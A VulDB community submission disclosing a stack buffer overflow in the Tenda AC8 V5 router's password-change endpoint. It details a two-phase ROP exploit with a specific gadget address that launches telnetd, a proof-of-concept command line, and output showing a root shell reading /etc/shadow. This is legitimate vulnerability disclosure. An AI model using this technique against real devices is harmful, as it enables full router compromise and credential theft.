COMMUNITY CONTENT

Home › Submit › 771773

Submit #771773: Tenda AC8 V5 V16.03.50.11 Buffer Overflow

Title Tenda AC8 V5 V16.03.50.11 Buffer Overflow

Description The fromSysToolChangePwd function in /bin/httpd handles admin password changes via the /goform/SysToolChangePwd HTTP endpoint. The function reads the currently stored password from the configuration manager (cfmd) into a fixed-size 36-byte stack buffer using GetValue("sys.userpass", local_2c). The GetValue function internally uses a 1500-byte intermediate buffer and copies the result to the destination without checking the destination buffer size.

If the stored password exceeds 36 bytes, the GetValue call overflows local_2c, corrupting the saved frame pointer ($s8) and return address ($ra) on the stack. Since the binary has no stack canaries and is not position-independent (static base 0x00400000), an attacker can precisely control $ra to redirect execution to an arbitrary address.

The attack is a two-phase exploit:

Phase 1 (Store): Set the device password to a crafted 43-byte payload containing the ROP chain. On a factory-reset device, no authentication is required because the admin password is empty. Alternatively a password can be provided for authenticated RCE, or the authentication can be bypassed by chaining this vuln with another discovered auth bypass vuln present in this device.
Phase 2 (Trigger): Make any request to /goform/SysToolChangePwd. The function calls GetValue("sys.userpass", local_2c), reading the 43-byte payload into the 36-byte buffer, overflowing $s8 and $ra. When the function returns, execution jumps to the attacker-controlled address.
The confirmed POC achieves remote code execution by redirecting $ra to a gadget within the TendaTelnet function at 0x004c32dc, which calls doSystemCmd("telnetd &"), starting a root telnet daemon on port 23.

Proof of Concept
A complete POC script (poc_SysToolChangePwd_BOF.py) is provided. It automates the full exploitation chain from password store through ROP to root shell login.

Full automated exploit: overflow → ROP → telnet → root shell
python3 poc_SysToolChangePwd_BOF.py --target http://192.168.0.1
Output (redacted):

```
================================================================
  Tenda AC8 — fromSysToolChangePwd Stack Overflow → Root Shell
================================================================
```

Community Content

Submissions are made by VulDB community users. VulDB is *not responsible* for their content nor the links to external sources.

Please use the raw information shown and the links listed *with caution*. They might contain malicious and harmful actions, code or data.

The corresponding VulDB entries contain the moderated, verified, and normalized information provided within the raw submission.

Documentation

- Submission Policy
- Data Processing
- CVE Handling

```
Target:       http://192.168.0.1
Payload size:   43 bytes
Buffer size:    36 bytes (local_2c)
$s8 overwrite:  0x42424242 ('BBBB')
$ra overwrite:  0x004c32dc (TendaTelnet → doSystemCmd())
ROP effect:     doSystemCmd("telnetd &") → root shell on port 23

[+] httpd is responding.

[*] Step 1: Storing 43-byte overflow password...
[+] Password stored successfully (43 bytes)

[*] Step 2: Logging in with overflow password...
[+] Login successful! Cookie received.

[*] Step 3: Triggering overflow → ROP → doSystemCmd("telnetd &")...
[+] Connection reset — httpd crashed!
[+] Confirmed: httpd is not responding.

[*] Step 4: Verifying telnet access on 192.168.0.1:23...
[+] TELNET IS OPEN on 192.168.0.1:23!

[*] Step 5: Logging into telnet as root...
[+] Found MAC: b8:3a:08:1b:57:50
[+] Derived root password: <redacted>
[+] ROOT SHELL ACTIVE!
  $ cat /etc/shadow
  root:$1$<redacted>:0:0:99999:7:::

================================================================
=====
 RESULT: ROOT SHELL OBTAINED — FULL DEVICE COMPROMISE
================================================================
=====
```

Source	⚠️ https://github.com/digitalandrew/tenda_ac8_v5/blob/main/CVE_Report_Tenda_AC8_SysToolChangePwd_BOF.md
User	DigitalAndrew (UID 96122)
Submission	03/04/2026 08:54 PM (1 month ago)
Moderation	03/16/2026 07:16 AM (11 days later)
Status	Accepted
VulDB entry	351412 [Tenda AC8 up to 16.03.50.11 HTTP Endpoint /goform/SysToolChangePwd doSystemCmd local_2c stack-based overflow]
Points	20